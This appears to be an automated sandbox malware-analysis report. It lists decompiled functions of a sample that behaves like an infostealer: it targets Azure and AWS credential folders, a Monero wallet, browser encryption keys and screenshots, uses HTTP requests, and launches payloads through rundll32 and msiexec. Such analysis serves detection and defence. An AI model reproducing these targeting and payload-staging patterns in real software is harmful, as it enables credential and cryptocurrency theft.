
Function 00BF8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

RegOpenKeyExA.ADVAPI32(00000000,009BB7C8,00000000,00020019,00000000,00C005B6), ref: 00BF83A4
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00BF8426
wsprintfA.USER32 ref: 00BF8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 00BF847B
RegCloseKey.ADVAPI32(00000000), ref: 00BF848C
RegCloseKey.ADVAPI32(00000000), ref: 00BF8499

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

Strings

?, xrefs: 00BF837A
%s\%s, xrefs: 00BF844D
- , xrefs: 00BF85A3

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: c5ee35f02f0235ecbae9f2e829b66cf503b47650b7e31cb4a92c62d1247cf8a4
Instruction ID: d0af570dfe9c51d9e901fa7f2556ccdd722a383c13c6195232be0d896b840528
Opcode Fuzzy Hash: c5ee35f02f0235ecbae9f2e829b66cf503b47650b7e31cb4a92c62d1247cf8a4
Instruction Fuzzy Hash: 4781DDB191011CABDB28DB54CC95FEAB7B8FB48700F0086D9E209A7190DF716B89CF95

Function 00BF4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BF4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00BF4DCD

Part of subcall function 00BF4910: wsprintfA.USER32 ref: 00BF492C
Part of subcall function 00BF4910: FindFirstFileA.KERNEL32(?,?), ref: 00BF4943

lstrcat.KERNEL32(?,00000000), ref: 00BF4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00BF4E59

Part of subcall function 00BF4910: StrCmpCA.SHLWAPI(?,00C00FDC), ref: 00BF4971
Part of subcall function 00BF4910: StrCmpCA.SHLWAPI(?,00C00FE0), ref: 00BF4987
Part of subcall function 00BF4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00BF4B7D
Part of subcall function 00BF4910: FindClose.KERNEL32(000000FF), ref: 00BF4B92

lstrcat.KERNEL32(?,00000000), ref: 00BF4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00BF4EE5

Part of subcall function 00BF4910: wsprintfA.USER32 ref: 00BF49B0
Part of subcall function 00BF4910: StrCmpCA.SHLWAPI(?,00C008D2), ref: 00BF49C5
Part of subcall function 00BF4910: wsprintfA.USER32 ref: 00BF49E2
Part of subcall function 00BF4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00BF4A1E
Part of subcall function 00BF4910: lstrcat.KERNEL32(?,009BF3B0), ref: 00BF4A4A
Part of subcall function 00BF4910: lstrcat.KERNEL32(?,00C00FF8), ref: 00BF4A5C
Part of subcall function 00BF4910: lstrcat.KERNEL32(?,?), ref: 00BF4A70
Part of subcall function 00BF4910: lstrcat.KERNEL32(?,00C00FFC), ref: 00BF4A82
Part of subcall function 00BF4910: lstrcat.KERNEL32(?,?), ref: 00BF4A96
Part of subcall function 00BF4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00BF4AAC
Part of subcall function 00BF4910: DeleteFileA.KERNEL32(?), ref: 00BF4B31

Strings

Azure\.IdentityService, xrefs: 00BF4EEB
msal.cache, xrefs: 00BF4EF0
Azure\.aws, xrefs: 00BF4E5F
*.*, xrefs: 00BF4E64
\.azure\, xrefs: 00BF4DC1
*.*, xrefs: 00BF4DD8
Azure\.azure, xrefs: 00BF4DD3
\.aws\, xrefs: 00BF4E4D
\.IdentityService\, xrefs: 00BF4ED9

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 888d737fc7a0f6f52be463480bd15424b0e1614d2a30ca5830866c0b23846c79
Instruction ID: 0d0c541264d1a249b8dda25824b70855f2c797e87141d504b185c83e509f84ed
Opcode Fuzzy Hash: 888d737fc7a0f6f52be463480bd15424b0e1614d2a30ca5830866c0b23846c79
Instruction Fuzzy Hash: DB4154B99402086BDB64F760DC4BFEE7278AB64704F0444A4B689660C1EEB45BCDCB92

Function 00BF9010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00BF906C

Strings

image/jpeg, xrefs: 00BF9136

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 88cc308a22ba8b40821329be4c8209d4dc5b1e17d993ebdea7e0a25abed45ef8
Instruction ID: 1e09979b0f2341ddd66a6b5769c9a495fa80da90acf80eabb47793101bea83fe
Opcode Fuzzy Hash: 88cc308a22ba8b40821329be4c8209d4dc5b1e17d993ebdea7e0a25abed45ef8
Instruction Fuzzy Hash: 8671EBB1910208AFDB18DFE5DC89FEEB7F8BB48700F148558F615A7290DB74A909CB61

Function 00BF2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

ShellExecuteEx.SHELL32(0000003C), ref: 00BF31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00BF335D
ShellExecuteEx.SHELL32(0000003C), ref: 00BF34EA

Strings

.dll, xrefs: 00BF31E5
/passive, xrefs: 00BF345B
/i ", xrefs: 00BF33E4
C:\Windows\system32\rundll32.exe, xrefs: 00BF3332
<, xrefs: 00BF3490
.msi, xrefs: 00BF3398
C:\Windows\system32\msiexec.exe, xrefs: 00BF34BF
"" , xrefs: 00BF309A

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: b011ce348ab744b2f67db4a2e34072be31d36375163f61cff373b7c633751c78
Instruction ID: 93a30d3bd73c6cc8b43cf58c8b5850aa2114042d98dea03722894fd9ce6a9b49
Opcode Fuzzy Hash: b011ce348ab744b2f67db4a2e34072be31d36375163f61cff373b7c633751c78
Instruction Fuzzy Hash: DE12DFB181010C9ADB19EB90DC92FFDB7B8AF14340F5081A9E60A77195EF746B4ECB52

Function 00BF52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

Part of subcall function 00BE6280: InternetOpenA.WININET(00C00DFE,00000001,00000000,00000000,00000000), ref: 00BE62E1
Part of subcall function 00BE6280: StrCmpCA.SHLWAPI(?,009BF440), ref: 00BE6303
Part of subcall function 00BE6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00BE6335
Part of subcall function 00BE6280: HttpOpenRequestA.WININET(00000000,GET,?,009BEC40,00000000,00000000,00400100,00000000), ref: 00BE6385
Part of subcall function 00BE6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00BE63BF
Part of subcall function 00BE6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00BE63D1

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00BF5318
lstrlen.KERNEL32(00000000), ref: 00BF532F

Part of subcall function 00BF8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00BF8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00BF5364
lstrlen.KERNEL32(00000000), ref: 00BF5383
lstrlen.KERNEL32(00000000), ref: 00BF53AE

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Strings

ERROR, xrefs: 00BF530A
ERROR, xrefs: 00BF53B9
ERROR, xrefs: 00BF546F
ERROR, xrefs: 00BF54A9
ERROR, xrefs: 00BF5432

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 863f15a9e4af50bda4a7128b18fcf1f81d8c799776ee0a1435d1fe854254da55
Instruction ID: efdcef3fa46f1b379d98b9e2ede0645b1af4a502571fb87c4d4a15b942e6a316
Opcode Fuzzy Hash: 863f15a9e4af50bda4a7128b18fcf1f81d8c799776ee0a1435d1fe854254da55
Instruction Fuzzy Hash: 99510F7091014C9BCB18FF64CD96AFD77B9AF10340F5080A4EA0A6B591DF746B4ECB62

Function 00BF12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: fe13d3b471ae164adcfbe0459283c1422945d573ca84a244449cbef0b2b7982e
Instruction ID: 31cca1788f6b7bc58e9fc38045a25752fa4581f7171595c5bf29dd8cfef99db8
Opcode Fuzzy Hash: fe13d3b471ae164adcfbe0459283c1422945d573ca84a244449cbef0b2b7982e
Instruction Fuzzy Hash: F2C154B590021D9BCB18EF60DC89FFA73B8BF54304F1445E9F60AA7141DA70AA89CF91

Function 00BF4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BF42EC
lstrcat.KERNEL32(?,009BEE20), ref: 00BF430B
lstrcat.KERNEL32(?,?), ref: 00BF431F
lstrcat.KERNEL32(?,009BD338), ref: 00BF4333

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BF8D90: GetFileAttributesA.KERNEL32(00000000,?,00BE1B54,?,?,00C0564C,?,?,00C00E1F), ref: 00BF8D9F

Part of subcall function 00BE9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00BE9D39

Part of subcall function 00BE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BE99EC
Part of subcall function 00BE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BE9A11
Part of subcall function 00BE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00BE9A31
Part of subcall function 00BE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00BE148F,00000000), ref: 00BE9A5A
Part of subcall function 00BE99C0: LocalFree.KERNEL32(00BE148F), ref: 00BE9A90
Part of subcall function 00BE99C0: CloseHandle.KERNEL32(000000FF), ref: 00BE9A9A

Part of subcall function 00BF93C0: GlobalAlloc.KERNEL32(00000000,00BF43DD,00BF43DD), ref: 00BF93D3

StrStrA.SHLWAPI(?,009BEDD8), ref: 00BF43F3
GlobalFree.KERNEL32(?), ref: 00BF4512

Part of subcall function 00BE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BE4EEE,00000000,00000000), ref: 00BE9AEF
Part of subcall function 00BE9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00BE4EEE,00000000,?), ref: 00BE9B01
Part of subcall function 00BE9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BE4EEE,00000000,00000000), ref: 00BE9B2A
Part of subcall function 00BE9AC0: LocalFree.KERNEL32(?,?,?,?,00BE4EEE,00000000,?), ref: 00BE9B3F

lstrcat.KERNEL32(?,00000000), ref: 00BF44A3
StrCmpCA.SHLWAPI(?,00C008D1), ref: 00BF44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00BF44D2
lstrcat.KERNEL32(00000000,?), ref: 00BF44E5
lstrcat.KERNEL32(00000000,00C00FB8), ref: 00BF44F4

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: fc528627f922c07dc8a4019cb1e37da08c85310f9b318a5551222dd14573260d
Instruction ID: 4421037e2f17d2dd43a0937130e590c6d2488d23f9f4f57e40db0452c1a7e20c
Opcode Fuzzy Hash: fc528627f922c07dc8a4019cb1e37da08c85310f9b318a5551222dd14573260d
Instruction Fuzzy Hash: 2E7116B6900208ABDB14EBA5DC9AFFE73B9AB48300F0445D8F605A7181DB74DB5DCB91

Function 00BE1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00BE12B4
Part of subcall function 00BE12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00BE12BB
Part of subcall function 00BE12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00BE12D7
Part of subcall function 00BE12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00BE12F5
Part of subcall function 00BE12A0: RegCloseKey.ADVAPI32(?), ref: 00BE12FF

lstrcat.KERNEL32(?,00000000), ref: 00BE134F
lstrlen.KERNEL32(?), ref: 00BE135C
lstrcat.KERNEL32(?,.keys), ref: 00BE1377

Part of subcall function 00BFA740: lstrcpy.KERNEL32(00C00E17,00000000), ref: 00BFA788

Part of subcall function 00BFA9B0: lstrlen.KERNEL32(?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BFA9C5
Part of subcall function 00BFA9B0: lstrcpy.KERNEL32(00000000), ref: 00BFAA04
Part of subcall function 00BFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BFAA12

Part of subcall function 00BFA8A0: lstrcpy.KERNEL32(?,00C00E17), ref: 00BFA905

Part of subcall function 00BF8B60: GetSystemTime.KERNEL32(00C00E1A,009BE6A8,00C005AE,?,?,00BE13F9,?,0000001A,00C00E1A,00000000,?,009B88D8,?,\Monero\wallet.keys,00C00E17), ref: 00BF8B86

Part of subcall function 00BFA920: lstrcpy.KERNEL32(00000000,?), ref: 00BFA972
Part of subcall function 00BFA920: lstrcat.KERNEL32(00000000), ref: 00BFA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00BE1465

Part of subcall function 00BFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BFA7E6

Part of subcall function 00BE99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00BE99EC
Part of subcall function 00BE99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00BE9A11
Part of subcall function 00BE99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00BE9A31
Part of subcall function 00BE99C0: ReadFile.KERNEL32(000000FF,?,00000000,00BE148F,00000000), ref: 00BE9A5A
Part of subcall function 00BE99C0: LocalFree.KERNEL32(00BE148F), ref: 00BE9A90
Part of subcall function 00BE99C0: CloseHandle.KERNEL32(000000FF), ref: 00BE9A9A

DeleteFileA.KERNEL32(00000000), ref: 00BE14EF

Strings

wallet_path, xrefs: 00BE1330
\Monero\wallet.keys, xrefs: 00BE138D
SOFTWARE\monero-project\monero-core, xrefs: 00BE1335
.keys, xrefs: 00BE136B

Memory Dump Source

Source File: 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BE0000, based on PE: true

Associated: 00000000.00000002.1399435795.0000000000BE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000C9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000CC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399448428.0000000000E2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000E3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.0000000000FC4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399587964.00000000010D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399821180.00000000010D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399925399.0000000001271000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1399939755.0000000001272000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_be0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: d75723db22a15d0cd6f1bec928106391ee5a378b01ec068e0ec5b4269a3ff2f9
Instruction ID: 1e4e33bedf52f485c5b20b49551eda36eb9292903f6c1939f618776f6425be75
Opcode Fuzzy Hash: d75723db22a15d0cd6f1bec928106391ee5a378b01ec068e0ec5b4269a3ff2f9
